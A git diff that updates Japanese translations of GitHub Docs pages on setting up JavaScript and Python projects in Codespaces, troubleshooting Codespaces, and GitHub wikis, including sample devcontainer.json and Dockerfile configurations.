-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  codespace 内でリビルドすると、リポジトリに変更をコミットする前に、期待どおりに変更が動作します。 何らかの失敗があった場合、コンテナの調整を継続するためにリビルドできるリカバリコンテナを備えた codespace に配置されます。
 
 
-## Step 4: Run your application
+## Step 4: アプリケーションを実行する
 
-In the previous section, you used the `postCreateCommand` to installing a set of packages via npm. You can now use this to run our application with npm.
+前のセクションでは、`postCreateCommand` を使用して npm を介してパッケージのセットをインストールしました。 これを使用して、npm でアプリケーションを実行できます。
 
-1. Run your start command in the terminal with`npm start`.
+1. `npm start` を使用してターミナルで start コマンドを実行します。
 
-  ![npm start in terminal](/assets/images/help/codespaces/codespaces-npmstart.png)
+  ![npm をターミナルで開始](/assets/images/help/codespaces/codespaces-npmstart.png)
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. プロジェクトが開始されると、プロジェクトが使用するポートに接続するためのプロンプトが表示されたトーストが右下隅に表示されます。
 
-  ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png)
+  ![ポートフォワーディングトースト](/assets/images/help/codespaces/codespaces-port-toast.png)
 
-## Step 5: Commit your changes
+## ステップ 5: 変更をコミットする
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## 次のステップ
 
-You should now be ready start developing your JavaScript project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+これで、{% data variables.product.prodname_codespaces %} で JavaScript プロジェクトの開発を始める準備ができました。 より高度なシナリオ向けの追加のリソースは次のとおりです。
 
-- [Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces)
+- [Codespaces の暗号化されたシークレットを管理する](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)
+- [{% data variables.product.prodname_codespaces %} の GPG 検証を管理する](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces)
 - [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
index 6e68ed79d6..297af6ff30 100644
--- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
@@ -16,4 +16,4 @@ hasExperimentalAlternative: true
 interactive: true
 ---
 
-<!-- This article is specially rendered via the pages/ directory -->
\ No newline at end of file
+<!-- This article is specially rendered via the pages/ directory -->
diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
index ff74da3c4c..470c8441d2 100644
--- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
@@ -1,7 +1,7 @@
 ---
 title: Setting up your Python project for Codespaces
 shortTitle: Setting up your Python project
-intro: 'Get started with your Python project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: 'カスタム開発コンテナを作成して、{% data variables.product.prodname_codespaces %} で Python プロジェクトを始めます。'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -19,198 +19,195 @@ hidden: true
 
 
 
-## Introduction
+## はじめに
 
-This guide shows you how to set up your Python project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+このガイドでは、Python プロジェクトを {% data variables.product.prodname_codespaces %} で設定する方法を説明します。 codespace でプロジェクトを開き、テンプレートから開発コンテナ設定を追加および変更する例を紹介します。
 
-### Prerequisites
+### 必要な環境
 
-- You should have an existing Python project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/python-quickstart.
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- {% data variables.product.prodname_dotcom_the_website %} のリポジトリに既存の Python プロジェクトがあります。 プロジェクトがない場合は、https://github.com/2percentsilk/python-quickstart の例でこのチュートリアルを試すことができます。
+- Organization で {% data variables.product.prodname_codespaces %} を有効にする必要があります。
 
-## Step 1: Open your project in a codespace
+## ステップ 1: codespace でプロジェクトを開く
 
 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png)
 
   If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
 
 
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+codespace を作成すると、プロジェクトは専用のリモート VM 上に作成されます。 デフォルト設定では、codespace のコンテナには、Node.js、JavaScript、Typescript、nvm、npm、yarn を含む多くの言語とランタイムがあります。 また、git、wget、rsync、openssh、nano などの一般的なツールセットも含まれています。
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+vCPU と RAM の量を調整したり、[ドットファイルを追加して環境をパーソナライズ](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)したり、インストールされているツールやスクリプトを変更したりして、codespace をカスタマイズできます。
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} は、`devcontainer.json` というファイルを使用して設定を保存します。 起動時に、{% data variables.product.prodname_codespaces %} はファイルを使用して、プロジェクトに必要となる可能性のあるツール、依存関係、またはその他のセットアップをインストールします。 For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
-## Step 2: Add a dev container to your codespace from a template
+## ステップ 2: テンプレートから codespace に開発コンテナを追加する
 
-The default codespaces container comes with the latest Python version, package managers (pip, Miniconda), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+デフォルトの Codespaces コンテナには、最新の Python バージョン、パッケージマネージャー（pip、Miniconda）、およびその他の一般的なツールがプリインストールされています。 ただし、プロジェクトに必要なツールとスクリプトを定義するために、カスタムコンテナを設定することをお勧めします。 これにより、リポジトリ内のすべての {% data variables.product.prodname_codespaces %} ユーザに対して完全に再現可能な環境を確保できます。
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+カスタムコンテナを使用してプロジェクトを設定するには、`devcontainer.json` ファイルを使用して環境を定義する必要があります。 {% data variables.product.prodname_codespaces %} で、これをテンプレートから追加することも、独自に作成することもできます。 For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
 {% data reusables.codespaces.command-palette-container %}
-2. For this example, click **Python 3**. If you need additional features you can select any container that’s specific to Python or a combination of tools such as Python 3 and PostgreSQL.
-  ![Select Python option from the list](/assets/images/help/codespaces/add-python-prebuilt-container.png)
-3. Click the recommended version of Python.
-  ![Python version selection](/assets/images/help/codespaces/add-python-version.png)
-4. Accept the default option to add Node.js to your customization.
-  ![Add Node.js selection](/assets/images/help/codespaces/add-nodejs-selection.png)
+2. この例では、[**Python 3**] をクリックします。 追加機能が必要な場合は、Python に固有の任意のコンテナ、または Python 3 と PostgreSQL などのツールの組み合わせを選択できます。 ![リストから Python オプションを選択](/assets/images/help/codespaces/add-python-prebuilt-container.png)
+3. Python の推奨バージョンをクリックします。 ![Python バージョンの選択](/assets/images/help/codespaces/add-python-version.png)
+4. デフォルトのオプションを使用して、Node.js をカスタマイズに追加します。 ![Node.js の選択に追加](/assets/images/help/codespaces/add-nodejs-selection.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### 開発コンテナの構造
 
-Adding the Python dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+Python 開発コンテナテンプレートを追加すると、次のファイルを含む `.devcontainer` フォルダがプロジェクトのリポジトリのルートに追加されます。
 
 - `devcontainer.json`
 - Dockerfile
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+新しく追加された `devcontainer.json` ファイルは、サンプルの後に説明されるいくつかのプロパティを定義します。
 
 #### devcontainer.json
 
 ```json
 {
-	"name": "Python 3",
-	"build": {
-		"dockerfile": "Dockerfile",
-		"context": "..",
-		"args": {
-			// Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9
-			"VARIANT": "3",
-			// Options
-			"INSTALL_NODE": "true",
-			"NODE_VERSION": "lts/*"
-		}
-	},
+    "name": "Python 3",
+    "build": {
+        "dockerfile": "Dockerfile",
+        "context": "..",
+        "args": {
+            // Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9
+            "VARIANT": "3",
+            // Options
+            "INSTALL_NODE": "true",
+            "NODE_VERSION": "lts/*"
+        }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash",
-		"python.pythonPath": "/usr/local/bin/python",
-		"python.linting.enabled": true,
-		"python.linting.pylintEnabled": true,
-		"python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8",
-		"python.formatting.blackPath": "/usr/local/py-utils/bin/black",
-		"python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf",
-		"python.linting.banditPath": "/usr/local/py-utils/bin/bandit",
-		"python.linting.flake8Path": "/usr/local/py-utils/bin/flake8",
-		"python.linting.mypyPath": "/usr/local/py-utils/bin/mypy",
-		"python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle",
-		"python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle",
-		"python.linting.pylintPath": "/usr/local/py-utils/bin/pylint"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash",
+        "python.pythonPath": "/usr/local/bin/python",
+        "python.linting.enabled": true,
+        "python.linting.pylintEnabled": true,
+        "python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8",
+        "python.formatting.blackPath": "/usr/local/py-utils/bin/black",
+        "python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf",
+        "python.linting.banditPath": "/usr/local/py-utils/bin/bandit",
+        "python.linting.flake8Path": "/usr/local/py-utils/bin/flake8",
+        "python.linting.mypyPath": "/usr/local/py-utils/bin/mypy",
+        "python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle",
+        "python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle",
+        "python.linting.pylintPath": "/usr/local/py-utils/bin/pylint"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"ms-python.python",
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "ms-python.python",
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [],
+    // 'forwardPorts' を使用して、コンテナ内のポートのリストをローカルで使用できるようにします。
+    // "forwardPorts": [],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "pip3 install --user -r requirements.txt",
+    // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。
+    // "postCreateCommand": "pip3 install --user -r requirements.txt",
 
-	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "vscode"
+    // 代わりに、connect を root としてコメントアウトします。 詳細は https://aka.ms/vscode-remote/containers/non-root を参照します。
+    "remoteUser": "vscode"
 }
 ```
 
-- **Name** - You can name our dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template.
+- **名前** - 開発コンテナには任意の名前を付けることができます。これはデフォルトです。
+- **ビルド** - ビルドプロパティです。
+  - **Dockerfile** - ビルドオブジェクトでは、Dockerfile は、これもまたテンプレートから追加された `dockerfile` への参照です。
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **ms-python.python** - The Microsoft Python extension provides rich support for the Python language (for all actively supported versions of the language: >=3.6), including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `pip3 install -r requirements`, you can do that here.
-- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`.
+    - **バリアント**: このファイルには、Dockerfile に渡される使用するノードのバリアントであるビルド引数が 1 つだけ含まれています。
+- **設定** - これらは {% data variables.product.prodname_vscode %} 設定です。
+  - **Terminal.integrated.shell.linux** - ここでは bash がデフォルトですが、これを変更することで他のターミナルシェルを使用できます。
+- **機能拡張** - これらはデフォルト設定で含まれている機能拡張です。
+  - **ms-python.python** - Microsoft Python 機能拡張は、IntelliSense、linting、デバッグ、コードナビゲーション、コード形式、リファクタリング、変数エクスプローラ、テストエクスプローラなどの機能を含む、Python 言語（言語のアクティブにサポートされているすべてのバージョン 3.6 または以降）の豊富なサポートを提供します。
+- **forwardPorts** - ここにリストされているポートはすべて自動的に転送されます。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - `dotnet restore` のように、Dockerfileで定義されていない codespace への到達後に何らかの操作を実行する場合は、ここで実行できます。
+- **remoteUser** - デフォルト設定では、`vscode` ユーザとして実行していますが、オプションでこれを `root` に設定できます。
 
 #### Dockerfile
 
 ```bash
-# [Choice] Python version: 3, 3.9, 3.8, 3.7, 3.6
+# [Choice] Python バージョン: 3, 3.9, 3.8, 3.7, 3.6
 ARG VARIANT="3"
 FROM mcr.microsoft.com/vscode/devcontainers/python:0-${VARIANT}
 
-# [Option] Install Node.js
+# [Option] Node.js をインストールします
 ARG INSTALL_NODE="true"
 ARG NODE_VERSION="lts/*"
 RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi
 
-# [Optional] If your pip requirements rarely change, uncomment this section to add them to the image.
+# [Optional] pip の要件をめったに変更しない場合は、このセクションのコメントを解除して、画像に追加します。
 # COPY requirements.txt /tmp/pip-tmp/
 # RUN pip3 --disable-pip-version-check --no-cache-dir install -r /tmp/pip-tmp/requirements.txt \
 #    && rm -rf /tmp/pip-tmp
 
-# [Optional] Uncomment this section to install additional OS packages.
+# [Optional] このセクションのコメントを解除して追加の OS パッケージをインストールします。
 # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
 #     && apt-get -y install --no-install-recommends <your-package-list-here>
 
-# [Optional] Uncomment this line to install global node packages.
+# [Optional] この行のコメントを解除してグローバルノードパッケージをインストールします。
 # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container.
+Dockerfile を使用して、コンテナレイヤーを追加し、コンテナに含める OS パッケージ、ノードバージョン、またはグローバルパッケージを指定できます。
 
-## Step 3: Modify your devcontainer.json file
+## ステップ 3: devcontainer.json ファイルを変更する
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches.
+開発コンテナを追加し、すべての機能を基本的に理解したら、環境に合わせてコンテナを設定するための変更を加えます。 この例では、コードスペースの起動時に拡張機能とプロジェクトの依存関係をインストールするためのプロパティを追加します。
 
-1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it.
+1. Explorer で `.devcontainer` フォルダを展開し、ツリーから `devcontainer.json` ファイルを選択して開きます。
 
   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Update the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project.
+2. `devcontainer.json` ファイルの `extensions` リストを更新し、プロジェクトでの作業に役立ついくつかの機能拡張を追加します。
 
   ```json{:copy}
   "extensions": [
-		  "ms-python.python",
-		  "cstrap.flask-snippets",
-		  "streetsidesoftware.code-spell-checker",
-	  ],
+          "ms-python.python",
+          "cstrap.flask-snippets",
+          "streetsidesoftware.code-spell-checker",
+      ],
   ```
 
-3. Uncomment the `postCreateCommand` to auto-install requirements as part of the codespaces setup process.
+3. `postCreateCommand` のコメントを解除して、Codespaces の設定プロセスの一部として要件を自動インストールします。
 
   ```json{:copy}
-  // Use 'postCreateCommand' to run commands after the container is created.
+  // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。
   "postCreateCommand": "pip3 install --user -r requirements.txt",
   ```
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  codespace 内でリビルドすると、リポジトリに変更をコミットする前に、期待どおりに変更が動作します。 何らかの失敗があった場合、コンテナの調整を継続するためにリビルドできるリカバリコンテナを備えた codespace に配置されます。
 
-5. Check your changes were successfully applied by verifying the Code Spell Checker and Flask Snippet extensions were installed.
+5. Code Spell Checker と Flask Snippet 機能拡張がインストールされていることを確認して、変更が正常に適用されたことを確認します。
 
-    ![Extensions list](/assets/images/help/codespaces/python-extensions.png)
+    ![機能拡張のリスト](/assets/images/help/codespaces/python-extensions.png)
 
-## Step 4: Run your application
+## Step 4: アプリケーションを実行する
 
-In the previous section, you used the `postCreateCommand` to install a set of packages via pip3. With your dependencies now installed, you can run your application.
+前のセクションでは、`postCreateCommand` を使用して pip3 を介してパッケージのセットをインストールしました。 依存関係がインストールされたら、アプリケーションを実行できます。
 
-1. Run your application by pressing `F5` or entering `python -m flask run` in the codespace terminal.
+1. `F5` キーを押すか、codespace ターミナルで `python -m flask run` と入力してアプリケーションを実行します。
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. プロジェクトが開始されると、プロジェクトが使用するポートに接続するためのプロンプトが表示されたトーストが右下隅に表示されます。
 
-  ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png)
+  ![ポートフォワーディングトースト](/assets/images/help/codespaces/python-port-forwarding.png)
 
-## Step 5: Commit your changes
+## ステップ 5: 変更をコミットする
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## 次のステップ
 
-You should now be ready start developing your Python project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+これで、{% data variables.product.prodname_codespaces %} で Python プロジェクトの開発を始める準備ができました。 より高度なシナリオ向けの追加のリソースは次のとおりです。
 
-- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [{% data variables.product.prodname_codespaces %} の暗号化されたシークレットを管理する](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [{% data variables.product.prodname_codespaces %} の GPG 検証を管理する](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
 - [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/ja-JP/content/codespaces/the-githubdev-web-based-editor.md b/translations/ja-JP/content/codespaces/the-githubdev-web-based-editor.md
index e3a988a7db..cae88e71b0 100644
--- a/translations/ja-JP/content/codespaces/the-githubdev-web-based-editor.md
+++ b/translations/ja-JP/content/codespaces/the-githubdev-web-based-editor.md
@@ -105,3 +105,4 @@ If you have issues opening the {% data variables.product.prodname_serverless %},
 
 - The {% data variables.product.prodname_serverless %} is currently supported in Chrome (and various other Chromium-based browsers), Edge, Firefox, and Safari. We recommend that you use the latest versions of these browsers.
 - Some keybindings may not work, depending on the browser you are using. These keybinding limitations are documented in the "[Known limitations and adaptations](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" section of the {% data variables.product.prodname_vscode %} documentation.
+- `.` may not work to open the {% data variables.product.prodname_serverless %} according to your local keyboard layout. In that case, you can open any {% data variables.product.prodname_dotcom %} repository in the {% data variables.product.prodname_serverless %} by changing the URL from `github.com` to `github.dev`.
diff --git a/translations/ja-JP/content/codespaces/troubleshooting/codespaces-logs.md b/translations/ja-JP/content/codespaces/troubleshooting/codespaces-logs.md
index 36c765c0cd..cafbb21f10 100644
--- a/translations/ja-JP/content/codespaces/troubleshooting/codespaces-logs.md
+++ b/translations/ja-JP/content/codespaces/troubleshooting/codespaces-logs.md
@@ -23,8 +23,6 @@ Information on {% data variables.product.prodname_codespaces %} is output to thr
 
 These logs contain detailed information about the codespace, the container, the session, and the {% data variables.product.prodname_vscode %} environment. They are useful for diagnosing connection issues and other unexpected behavior. For example, the codespace freezes but the "Reload Windows" option unfreezes it for a few minutes, or you are randomly disconnected from the codespace but able to reconnect immediately.
 
-{% include tool-switcher %}
-
 {% webui %}
 
 1. If you are using {% data variables.product.prodname_codespaces %} in the browser, ensure that you are connected to the codespace you want to debug.
@@ -51,7 +49,6 @@ Currently you can't use {% data variables.product.prodname_cli %} to access thes
 
 These logs contain information about the container, dev container, and their configuration. They are useful for debugging configuration and setup problems.
 
-{% include tool-switcher %}
 
 {% webui %}
 
@@ -77,7 +74,7 @@ If you want to share the log with support, you can copy the text from the creati
 To see the creation log use the `gh codespace logs` subcommand. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace logs 
+gh codespace logs
 ```
 
 For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_logs).
diff --git a/translations/ja-JP/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md b/translations/ja-JP/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
index e5460831a9..4f45e88c96 100644
--- a/translations/ja-JP/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
+++ b/translations/ja-JP/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
@@ -11,9 +11,9 @@ topics:
 shortTitle: Codespaces clients
 ---
 
-## {% data variables.product.prodname_vscode %} troubleshooting
+## {% data variables.product.prodname_vscode %} のトラブルシューティング
 
-When you connect a desktop version of {% data variables.product.prodname_vscode %} to a codespace, you will notice few differences compared with working in a normal workspace but the experience will be fairly similar. 
+When you connect a desktop version of {% data variables.product.prodname_vscode %} to a codespace, you will notice few differences compared with working in a normal workspace but the experience will be fairly similar.
 
 When you open a codespace in your browser using {% data variables.product.prodname_vscode %} in the web, you will notice more differences. For example, some key bindings will be different or missing, and some extensions may behave differently. For a summary, see: "[Known limitations and adaptions](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" in the {% data variables.product.prodname_vscode %} docs.
 
@@ -31,7 +31,7 @@ On the web version of {% data variables.product.prodname_vscode %}, you can clic
 
 If the problem isn't fixed in {% data variables.product.prodname_vscode %} Stable, please follow the above troubleshooting instructions.
 
-## Browser troubleshooting
+## ブラウザのトラブルシューティング
 
 If you encounter issues using codespaces in a browser that is not Chromium-based, try switching to a Chromium-based browser, or check for known issues with your browser in the `microsoft/vscode` repository by searching for issues labeled with the name of your browser, such as [`firefox`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+label%3Afirefox) or [`safari`](https://github.com/Microsoft/vscode/issues?q=is%3Aopen+is%3Aissue+label%3Asafari).
 
diff --git a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md
index a92278ed72..9b71ab35e8 100644
--- a/translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md
+++ b/translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md
@@ -1,6 +1,6 @@
 ---
-title: About wikis
-intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.'
+title: ウィキについて
+intro: リポジトリのドキュメンテーションをウィキでホストして、他者が利用してプロジェクトにコントリビュートすることを可能にできます。
 redirect_from:
   - /articles/about-github-wikis
   - /articles/about-wikis
@@ -15,24 +15,24 @@ topics:
   - Community
 ---
 
-Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to  share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see "[About READMEs](/articles/about-readmes)."
+Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. リポジトリのウィキは、プロジェクトの利用方法、設計方法、中核的な原理など、プロジェクトに関する長いコンテンツを共有するために利用できます。 README ファイルは、プロジェクトができることを手短に述べますが、ウィキを使えば追加のドキュメンテーションを提供できます。 詳細は「[README について](/articles/about-readmes)」を参照してください。
 
-With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format.
+ウィキでは、{% data variables.product.product_name %} のあらゆる他の場所と同じようにコンテンツを書くことができます。 詳細は「[{% data variables.product.prodname_dotcom %} で書き、フォーマットしてみる](/articles/getting-started-with-writing-and-formatting-on-github)」を参照してください。 私たちは、さまざまなフォーマットを HTML に変更するのに[私たちのオープンソースマークアップライブラリ](https://github.com/github/markup)を使っているので、Markdown あるいはその他任意のサポートされているフォーマットで書くことができます。
 
-{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
+{% ifversion fpt or ghes or ghec %}パブリックリポジトリに Wiki を作成すると、{% ifversion ghes %}{% data variables.product.product_location %}{% else %}パブリック{% endif %}にアクセスできるすべてのユーザがその Wiki を利用できます。 {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. 詳細は「[リポジトリの可視性を設定する](/articles/setting-repository-visibility)」を参照してください。
 
-You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.product.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)".
+ウィキは、{% data variables.product.product_name %} 上で直接編集することも、ウィキのファイルをローカルで編集することもできます。 デフォルトでは、リポジトリへの書き込みアクセス権を持つユーザのみが Wiki に変更を加えることができますが、{% data variables.product.product_location %} のすべてのユーザが{% ifversion ghae %}内部{% else %}パブリック{% endif %}リポジトリの Wiki に貢献できるようにすることも可能ですす。 詳細は「[ウィキへのアクセス権限を変更する](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)」を参照してください。
 
 {% note %}
 
-**Note:** Search engines will not index the contents of wikis. To have your content indexed by search engines, you can use [{% data variables.product.prodname_pages %}](/pages) in a public repository.
+**注釈:** 検索エンジンによる、Wikiコンテンツのインデックス化はありません。 検索エンジンでコンテンツをインデックスするには、パブリックリポジトリで [{% data variables.product.prodname_pages %}](/pages) を使用します。
 
 {% endnote %}
 
-## Further reading
+## 参考リンク
 
-- "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)"
